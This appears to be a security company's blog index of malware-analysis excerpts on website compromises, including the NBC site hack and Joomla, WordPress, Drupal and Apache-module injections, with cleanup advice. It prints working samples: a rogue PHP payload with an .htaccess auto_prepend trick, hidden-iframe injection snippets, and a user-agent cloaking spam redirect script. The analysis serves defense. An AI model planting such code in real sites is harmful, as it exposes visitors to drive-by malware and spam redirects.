NBC Website HACKED – Be Careful Surfing

Breaking, the NBC site is currently compromised and blacklisted by Google. Anyone that visits the site (which includes any sub page) will have malicious iframes loaded as well redirecting the user to exploit kits (Redkit):

*Update: Not only NBC.com, but many other NBC sites, including Late Night with Jimmy Fallon, Jay Lenos garage and others.

Screen Shot 2013-02-21 at 11.15.51 AM

If you are visiting it from Chrome or Firefox would get the following warning:

Screen Shot 2013-02-21 at 11.18.14 AM

Read More

Sneaky Joomla Web Malware – JavaScript Infections

So the past week has been interesting, we have been having fun with a few JavaScript infections that really forced us to put on our thinking hats. Our Senior Malware Engineer, Fioravante Cavallari, actually found the payload and dissected it – thank goodness for products based on human-intelligence. It was so interesting that we felt compelled to write about it. It very accurately represents an evolution in the types of attacks we’re seeing, specifically as to the their creative nature.

If it were 24 months ago, JavaScript infections would be straight forward. They would be right in the JavaScript file, usually leveraging the document.write object or something similar. Take it back 12 months and we’d see the introduction of the rogue Apache modules, maybe not the introduction but when they were becoming more common place, generating the same injections. Granted, both of these approaches are still actively used today, but now we start adding things like the self-licking ice cream cone approach we wrote about and today’s scenario, which we’ll coin, adding junk to the trunk.

So What’s the Scenario?!?

In retrospect, it’s very simple. Append the payload to the file, hence adding junk to the trunk, similar in concept to what we are seeing with the Apache modules, but leveraging .htaccess.

This is how they are doing it:

First:

They have a payload on the server that is anything but the normal files you’d expect, i.e., HTML, JS, PHP, CSS, etc.., in this scenario it was a ShockWaveFile (.swf):

<?php
if (!$_COOKIE['utmzz'])
 {
setcookie('utmzz',time(),time()+60*60*24*7,'/');
header('Content-Type: application/x-javascript');
?>
document.write('<script type="text/javascript" src="[some not so nice payload]"></script>');
<?php
 }
header('Content-Type: application/x-javascript');

Second:

You then auto_append that rogue file to all JS files, oh which by the way, you treat as PHP:

<files ~ "\.js$">
SetHandler application/x-httpd-php
php_value auto_prepend_file [path to your rogue file]
php_flag display_errors Off
</files>

Keeping it Simple

Just like that, the attacker is able to append bad payloads to all your JavaScript files. All the while, you spend your valuable time looking through all your JS files, pulling your hair out, and low and behold, it’s not in the files. Yes, very annoying, I know. In any event, right now we’re seeing these types of attacks on Joomla sites more than any CMS.

I wouldn’t place too much thought into that, let’s keep the drama low folks. I don’t think it’s for any reason other than different breeds of attackers. Some groups are more particular to one platform over another and as they come up with tactics it spreads, at some point it jumps the fence and it’ll only be a matter of time before other platforms start seeing similar attack patterns.

Don’t Forget About Cache!!

When cleaning up the mess, removing the .htaccess and the bad rogue file alone won’t do the trick. It’s already been appended to all your files and in Joomla that means you have to use the core tools to purge all your files – easiest way. If you were to navigate to the site directly you, and your visitors, would still get hit with the JavaScript payload. So, log into your administrator panel and purge all the cached files via tools menu options.

Cheers!


If you find yourself in a similar situation send us a note at info@sucuri.net. Or sign up and we’ll get things situated, http://sucuri.net.

Large Scale Compromises Leading to Traffic Distribution System

For the last few weeks we’ve been tracking a large scale decentralized Traffic Distribution System (TDS). It’s using hundreds of compromised sites as their first entry point. Anyone that visits the compromised sites from a search engine gets redirected to another site controlled by the attackers (most of the time with pornographic or pharmaceutical content).

For each of those redirections, the bad guys make money via affiliate commissions. Symantec explains well how those traffic distrubution systems work here: Web-Based Malware Distribution Channels: A Look at Traffic Redistribution Systems.


Read More

Various Shades of Malware – Abusing Your Resources

We often write about very clear cut cases of malware activity. The attacker is leveraging your traffic, redirecting it to other locations, or injecting things like iFrames in an attempt to perform some type of drive-by-download. These are obviously very clear cut cases of malware and nefarious activities. But what about others?

By others I mean abusing system resources. This can be done through bot networks, spam emails and even using your box as a proxy. None of these are things you’ll ever pick up via any remote scanner as they never present themselves remotely. It’s also why we have to start evolving our ideals and remediation to move beyond the application tier and focus on the web server.

A perfect example is what we came across today.

In this example the attacker has injected a file called gate.php, when you navigate to via your URI you come see this:

Read More

Malware Redirection with a Delay

You visit a site and it looks good and clean. However, if you keep the page open, after maybe 20-30 seconds, you get redirected to a casino or pharma affiliate page. What is going on?

We call these delayed redirections and they are becoming more prevalent these days. Instead of injecting malware, or performing redirections via javascript, the attackers are adding the refresh option to the HTTP headers. Similar to the following:

HTTP/1.1 200 OK
Date: Tue, 29 Jan 2013 17:18:02 GMT
Server: Apache
Refresh: 25; url="httx://www.dodonet.biz"


Read More

Web Server Attacks – Apache Modules, Log Management and RELM

New year, same tricks, mostly because they work. That’s how we’re kicking off the new year folks.

In September of 2012, Dennis, of Unmask Parasites, first wrote about rogue apache modules being injected into web servers. It has since been all the rave. It seems every week we’re handling more and more cases, from private servers to large enterprises, being impacted by the same issue. As for the vector, in a good number of instances it comes down to access and in others vulnerabilities in software, software like PLESK.

What we have started to see is an evolution in these attacks. In one such case we saw two modules injected into the server. One was legitimate and was referencing another illegitimate module. Normal tactics failed to disclose it’s location. Monitoring the traffic of the server using tools like TCPDUMP did in fact show the infection was still present. We briefly wrote about some of these evolutions in a recent post, in which we articulate some of the things we are seeing. Fortunately, a lot of this comes down to the basics of knowing what your servers are running and what they are designed to do.

It’s for this reason that we’re pleading with organizations to apply better practice when managing their web servers. These servers are sitting between you, your environment, and your followers. They are prime targets and less and less focus is being placed on them.

Things you need to be doing:

  • Monitor your httpd.conf file (e.g., /etc/httpd/conf/httpd.conf)
  • Check the modules being loaded in your modules directory
  • Become vigilant with your logs
  • Practice the art of isolation


Read More

Server Compromises – Understanding Apache Module iFrame Injections and Secure Shell Backdoor

There are many ways to inject a malicious payload onto a website. The attacker can modify any of the web files (index.php for example), the .htaccess file or php.ini (if the site is using PHP). There are other ways, but those are the most common methods, specially on shared hosts.

However, for the last year, we started to see a new way to inject malware on compromised servers via a malicious Apache module. We posted about it before and it has been covered on many other mediums. After a few months of tracking them, and working on multiple servers that had this issue, we want to share a bit of what we have learned.

Identifying the injection

First, a good way to identify if an infection is coming via the Apache module compromise is by looking at how the iframe is being inserted. They seem to always follow this pattern:

<style<.t1nhuhjv { position:absolute; left:-1619px; top:-1270px} </style> <div class=”t1nhuhjv”><iframe
src="httx://qotive. changeip.name/random/" width=”534″ height=”556″> </iframe></div>

or

<style>.q6umct6stl { position:absolute; left:-1284px; top:-1774px} </style> <div class="q6umct6stl”><iframe
src="httx://nujifa. longmusic.com/kdqjagzxwbakl/cdce48ffcf125f41206a9ed88675b56b/" width="367" height="411"></iframe></div>

The domain name changes very often (IP is often 62.75.235.48), as does the div class name and the iframe sizes. These are some of the domains we have tracked:

Read More

WordPress SPAM Causing Headaches

It seems that SPAM is all the rave these days, wonder why, could it be because it’s a multi-million business?

In any event, detecting is always a challenge as is remediating. This is what it might look like if you use our free scanner to scan the website:

Sucuri Spam Detection

Besides some of the obvious things we have started seeing tactics used on Joomla sites on WordPress ones. They are using things like this:


&#64require_once(ABSPATH . '/wp-includes/Text/cache.php');

You’ll find this in your wp-config.php file more often than not. If you follow the cookie trail you’ll find that the cache.php contains code like this:


<?php
$uniq_ua_string=@$_SERVER['HTTP_USER_AGENT'];
$uniq_ref=@$_SERVER["HTTP_REFERER"];
$is_human=1;
if (stristr($uniq_ua_string,"googlebot"))$is_human=0;
if (stristr($uniq_ua_string,"bing"))$is_human=0;
if (stristr($uniq_ua_string,"yahoo"))$is_human=0;
if(@$is_human == 0 && preg_match('/^\/(?:index\.(?:php|html?))?$/', @$_SERVER['REQUEST_URI'])) {
@readfile(dirname(__FILE__)."/css.php");
exit;
}
if(preg_match('/viagra/i', $uniq_ref) > 0) {header("Location: http://vaptk.com/in.php?t=v&s=1");exit;}

?>

If you follow the trail further and go to the css.php file you’ll find all kinds of goodies that will be of particular interest:

Sucuri SPAM Payload

What can I say, sometimes it’s all about following the cookie trail.

When removing be sure to remove the &#64require_once and the payload as well. The good news is if you’re running our plugin you’ll quickly identify an integrity issue in wp-includes and wp-config that will allow you to quickly act to rectify the issue. Because of the time of injection we’d venture to say that the vector is likely compromised credentials to the server, likely via FTP.


Any questions let us know.

Website Malware – Drupal Injections Targeting Cookies

Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.

They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.

The Payload

Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.

Read More

Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla

This past week we have seen a sharp increase in the use of old tactics designed to poison your search engine results – also known as Search Engine Poisoning (SEP) attacks. If you use our free scanner, SiteCheck, you’ll likely see something like the following:

Sucuri - ViewState Infection

You’re probably wondering, what the heck, how is that SEO SPAM? Allow me to explain what this is doing.

Read More